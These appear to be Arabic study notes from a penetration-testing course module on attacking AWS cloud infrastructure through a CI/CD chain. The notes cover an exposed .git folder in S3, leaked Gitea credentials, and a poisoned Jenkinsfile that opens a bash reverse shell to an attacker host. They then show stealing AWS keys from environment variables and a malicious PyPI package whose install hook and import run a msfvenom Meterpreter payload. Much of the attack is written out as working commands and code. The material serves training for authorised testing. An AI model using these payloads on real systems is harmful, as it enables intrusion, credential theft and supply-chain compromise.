الـ Pipelines بتؤتمت بناء التطبيقات واختبارها ونشرها — وعشان تعمل كده، بتحتاج وصول واسع لكل حاجة في البيئة. اختراق Pipeline واحد يعني وراثة كل صلاحياته.
المهاجم بيتلاعب في سكريبتات البناء أو النشر، فتتنفّذ أوامر خبيثة أثناء تشغيل الـ Pipeline تلقائيًا. الـ Pipeline نفسه بيتحوّل لناقل الهجوم.
تسريب الأسرار ومتغيرات البيئة، فتح Reverse Shell على سيرفر البناء، حقن كود خبيث في عمليات النشر الإنتاجية، أو الـ Pivot للبنية السحابية باستخدام بيانات اعتماد الـ Pipeline نفسه.
نشر حزمة خبيثة بتقلّد Dependency شرعية — نظام البناء بيحمّلها وينفّذها تلقائيًا. بمجرد تشغيل الحزمة المخترَقة جوه الـ Pipeline: فحص الشبكات الداخلية، التحرّك الجانبي لبنية تحتية تانية، أو الوصول لملفات Terraform state اللي فيها مفاتيح عالية الصلاحية.
سلسلة التوريد (Supply Chain) نفسها بتتحوّل لآلية توصيل الحمولة.
فيه موديولات مخصّصة لفحص الإصدار الشغّال، تحديد الـ Endpoints المتاحة مقابل المحمية، وتعداد الإضافات (Plugins) المثبّتة.
أسماء المستخدمين الظاهرة (موظفين عاديين + حساب أدمن) بتتحوّل لأهداف مباشرة لهجمات بيانات الاعتماد.
تشغيل dirb على التطبيق الهدف — النتيجة غالبًا محدودة (الصفحة الرئيسية بس)، ده بيدل إما على عدم وجود مجلدات مخفية واضحة، أو إنها محمية/بأسماء غير قياسية. لما الأدوات الآلية تفشل، التحليل اليدوي بيبقى أساسي.
View Page Source (Ctrl+U) بيكشف روابط صور بتشاور على S3 bucket بالنمط https://<bucket>.s3.amazonaws.com/<path> — تأكيد إن المحتوى الثابت بيتقدَّم مباشرة من AWS S3، واسم الـ Bucket بقى معروف.
الوصول لجذر الـ Bucket مباشرة بيرجّع Access Denied (قائمة المجلدات معطّلة) — لكن Access Denied مش معناها آمن. استخدام Wordlist لفحص مسارات مخفية بيكشف مجلد .git/ — مستودع Git كامل اتنقل بالغلط لتخزين عام!
dirb http://target.com /usr/share/wordlists/dirb/common.txt
curl https://<bucket>.s3.amazonaws.com/
# Access Denied — لكن مش آمن بالضرورة
gobuster dir -u https://<bucket>.s3.amazonaws.com/ -w wordlist.txt
# اكتشاف حرج: .git/ موجود!
.git = مستودع Git كامل بكل تاريخه — الكود الحالي، ملفات الإعداد، كل النسخ السابقة (كل Commit اتعمل)، سير عمل المطوّرين والتوثيق الداخلياستخدام AWS CLI (بعد المصادقة) لسرد الـ Bucket — بيكشف .git/، Jenkinsfile، docker-compose.yml، ومجلد scripts/.
aws s3 cp s3://bucket/README.md ./ — يؤكد صلاحية القراءة، وبيكشف أسماء المتعاونين وسير العمل.
aws s3 sync s3://bucket-name ./local/ — بينسخ كل حاجة بما فيها أوبجكتس .git المخفية.
السكريبتات غالبًا فيها أسماء AWS profiles، بيانات اعتماد، استدعاءات API، وروابط نقاط نهاية داخلية.
فحص آلي لتاريخ المستودع بالكامل — بيكتشف مفاتيح API وTokens وبيانات اعتماد مكشوفة.
رؤوس HTTP Basic Auth مرمّزة بـ Base64 جوه السكريبتات → فك الترميز بيكشف اسم مستخدم:كلمة مرور الأدمن.
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local/
gitleaks detect --source ./local/ -v
سكريبت بيحدّث المتعاونين في سيرفر Git عبر API، بياخد اسم مستخدم وكلمة مرور كـ Arguments، وبيبني رأس HTTP Basic Authentication:
echo 'YWRtaW46UEBzc3dvcmQx' | base64 -d → admin:P@ssword1
مسار الهجوم حتى الآن: S3 Bucket مُعدّ بشكل خاطئ ← مستودع .git مكشوف ← بيانات اعتماد مسرَّبة ← وصول أدمن كامل على Gitea (كل المستودعات الخاصة، تعديل الكود، تعديل الـ Jenkinsfile، إضافة مفاتيح SSH للاستمرارية).
| المنصة | ملف الإعداد |
|---|---|
| Jenkins | Jenkinsfile |
| GitLab | .gitlab-ci.yml |
| GitHub | .github/workflows/*.yml |
المشغّلات (Triggers): Push كوميتات لفرع، فتح أو تحديث Pull Request، تنفيذ مجدوَل (cron)، أو Webhook من حدث في المستودع. صلاحية كتابة على المستودع + Webhook مفعَّل = تنفيذ كود.
static_content repo — الـ Pipeline بتاعه بيطبع رسائل بس، مفيش عمليات حقيقيةimage-transform repo — القيّم: بيستخدم withAWS directive لتحميل بيانات اعتماد سحابية من Jenkins (AWS_ACCESS_KEY_ID، AWS_SECRET_ACCESS_KEY، AWS_DEFAULT_REGION)، وبينشر CloudFormation stacksقالب CloudFormation بينشر نظام معالجة صور: Bucketين خاصين (صور أصلية + صور مصغّرة)، Lambda function، وIAM role محدود الصلاحيات للـ Lambda. لكن بيانات اعتماد Jenkins نفسها اللي بتنشر البنية دي عندها صلاحيات أوسع بكتير — هي الهدف الأفضل.
إيجاد image-transform — الـ Jenkinsfile بتاعه بيستخدم withAWS block.
الحفاظ على withAWS block (عشان تفضل بيانات الاعتماد شغّالة)، وإضافة Stage جديدة بتنفّذ أوامر شل.
إرسال طلب curl بسيط لسيرفر تحت سيطرة المهاجم — للتأكد من الاتصال الخارجي وتنفيذ الأوامر.
استبدال الاختبار بـ Bash reverse shell، وتشغيله في الخلفية لتجنّب الـ Timeout.
Commit وPush للمستودع — الـ Webhook بيكتشف التغيير ويشغّل الـ Pipeline تلقائيًا.
مستمع Netcat على جهاز المهاجم بيستقبل الاتصال من Jenkins build agent.
pipeline {
agent any
stages {
stage('Deploy') {
steps {
withAWS(credentials: 'aws_key') {
script {
if (isUnix()) {
sh '''
nohup bash -i >& /dev/tcp/ATTACKER/4444 0>&1 &
'''
}
}
} // withAWS بيحافظ على بيانات الاعتماد!
}
}
}
}
id، hostname، uname -a — تأكيد الوصولcat /proc/mounts | grep overlay
# مسارات Overlay filesystem → حاوية Docker مؤكَّدة
cat /proc/1/status | grep Cap
capsh --decode=<hex_value>
# النتيجة: الحاوية عندها Capabilities إدارية واسعة
مستخدم غير مميَّز + Capabilities عالية = احتمال وارد لـ Container Escape.
الـ withAWS block بتاع الـ Pipeline حقن بيانات الاعتماد في متغيرات البيئة أثناء التنفيذ.
env | grep -i aws
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=abc123...
AWS_DEFAULT_REGION=us-east-1
# استخدامها على Kali:
aws configure --profile pipeline
# بعدين عدّد إيه اللي المفاتيح دي تقدر توصله!
# hackshort-util/ (اسم الحزمة بشرطات)
# setup.py
# hackshort_util/__init__.py (شرطات سفلية للاستيراد)
from setuptools import setup
setup(name='hackshort-util', version='1.0', packages=['hackshort_util'])
# البناء:
python3 setup.py sdist # ينشئ أرشيف .tar.gz
عبر تجاوز (Override) كلاس أمر التثبيت في setup.py — دالة run() بتتنفّذ أثناء pip install. حتى من غير استيراد الحزمة، مجرد تثبيتها يكفي لتشغيل الحمولة — وده بيشتعل جوه أي Pipeline بينفّذ pip install -r requirements.txt.
توليد حمولة Meterpreter بـ msfvenom ← إضافتها لـ utils.py (تشتعل عند الاستيراد) ← تجاوز run() في setup.py (تشتعل عند pip install) ← إعادة بناء الحزمة ورفعها لمرآة PyPI داخلية ← انتظار إعادة بناء سيرفر الإنتاج ← فتح جلسة Meterpreter.
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=192.168.118.4 LPORT=4444 -f raw > payload.py
# جوه utils.py:
exec(open('payload.py').read()) # يشتعل عند الاستيراد
python3 setup.py sdist
python3 setup.py sdist upload -r NetLab
# على Metasploit:
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
run -j # انتظار إعادة بناء الإنتاج!
المشكلة: مفيش nmap أو netstat جوه الحاوية. الحل: كتابة Port Scanner بـ Python باستخدام socket.connect_ex() من غير أي أدوات خارجية — أسرع وأخف وأكثر تخفّيًا من Nmap اللي غالبًا مش مثبّت في الحاويات Minimal وأصلًا ضجيجه أعلى وقابل للكشف من IDS/IPS.
فحص الشبكة بيكشف نسخة Jenkins داخلية — سيرفرات CI/CD بتحتفظ بكل بيانات اعتماد النشر ومتصلة بالكود المصدري والبنية الإنتاجية. ممكن يكون عندها تسجيل ذاتي مفعَّل.
python3 -c "
import socket
for port in [80,443,8080,8443,22,3306]:
s=socket.socket(); s.settimeout(0.5)
if not s.connect_ex(('10.x.x.x',port)):
print(f'{port} open')"
# 8080 open → Jenkins!
curl http://10.x.x.x:8080/
# التسجيل الذاتي مفعَّل!
curl http://10.x.x.x:8080/plugin/s3explorer/ | grep -i aws
# مفاتيح AWS في مصدر الصفحة!
بعد إنشاء حساب وتسجيل الدخول، تصفّح الإضافات (Plugins) → S3 Explorer → مصدر الصفحة فيه بيانات اعتماد AWS جديدة لاستخدامها في تعداد Buckets إضافية.
فحص dirb ما لقى حاجة → مصدر HTML كشف رابط S3 bucket مع أصول صور.
سرد المجلد محظور → فحص Wordlist لقى مجلد .git/ مخفي في التخزين العام.
aws s3 sync بيحمّل المستودع كامل بما فيه Jenkinsfile وسكريبتات الأتمتة.
سكريبت فيه HTTP Basic Auth مرمّز بـ Base64 → فك الترميز → admin:P@ssword1 لـ Gitea.
تسجيل دخول كأدمن على Gitea → تعديل Jenkinsfile في image-transform → Push → الـ Webhook بيشتعل.
Jenkins بينفّذ الـ Pipeline المسمَّم → Reverse shell بيفتح → متغيرات البيئة فيها بيانات اعتماد AWS.
إنشاء حزمة Python خبيثة → رفعها على PyPI داخلي → سيرفر الإنتاج بيثبّتها → Meterpreter.
Root على الحاوية → فحص متغيرات البيئة → فحص الشبكة الداخلية → إيجاد Jenkins → بيانات اعتماد AWS جديدة عبر S3 Explorer.
dirb http://target.com /usr/share/wordlists/dirb/common.txt
gobuster dir -u https://<bucket>.s3.amazonaws.com/ -w wordlist.txt
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local/
gitleaks detect --source ./local/ -v
stage('Deploy') {
steps {
withAWS(credentials: 'aws_key') {
sh 'nohup bash -i >& /dev/tcp/ATTACKER/4444 0>&1 &'
}
}
}
env | grep -i aws
cat /proc/mounts | grep overlay
cat /proc/1/status | grep Cap
aws configure --profile pipeline
msfvenom -p python/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f raw > payload.py
python3 setup.py sdist
python3 setup.py sdist upload -r <internal-pypi>
| # | التحقق | الأمر | المسار المناسب |
|---|---|---|---|
| 1 | صور ثابتة بتتقدَّم من S3؟ | فحص مصدر HTML | تحديد اسم الـ Bucket |
| 2 | فيه .git مكشوف جوه الـ Bucket؟ | gobuster + aws s3 sync | تسريب أسرار Git History |
| 3 | Jenkinsfile بيستخدم withAWS؟ | فحص المستودعات | Pipeline Poisoning |
| 4 | متغيرات بيئة فيها AWS keys؟ | env | grep -i aws | استخدام بيانات اعتماد Pipeline |
| 5 | requirements.txt بيثبّت حزم تلقائيًا؟ | فحص PyPI الداخلي | Dependency Chain Attack |
الموديول ده غطّى مهاجمة بنية AWS السحابية عبر سلسلة CI/CD كاملة — بداية من S3 bucket مُعدّ بشكل خاطئ، مرورًا بتسريب أسرار Git وتسميم Jenkins Pipeline، ووصولًا لهجوم Dependency Chain وPivoting الداخلي بين حاويات الإنتاج.
كل هجمات الموديول ده مبنية على فكرة واحدة: الثقة الممنوحة لـ Pipeline وتخزين سحابي أكبر من التحقق الفعلي المطبَّق عليهم. المختبر اللي بيتتبّع سلسلة الثقة دي — من S3 العام وحتى بيانات اعتماد الـ Pipeline — هو اللي بيوصل لسيطرة كاملة على البنية السحابية بأقل عدد خطوات.
في الـ Engagement الحقيقي: ابدأ دايمًا بتعداد سطح الهجوم الخارجي (تطبيق الويب، S3 buckets، سيرفرات Git/CI معروفة) → افحص أي تخزين عام بحثًا عن مستودعات أو ملفات إعداد مسرَّبة → استخدم أي بيانات اعتماد مكتشَفة لتصعيد الوصول على سيرفر Git أو CI/CD → استغل صلاحيات الـ Pipeline نفسها بدل محاولة استغلال التطبيق مباشرة → وبمجرد الوصول لشل على Build Agent، افحص متغيرات البيئة فورًا. وثَّق كل خطوة، حتى الفاشلة.
نهاية نوتس الموديول الثالث والعشرين — Attacking AWS Cloud Infrastructure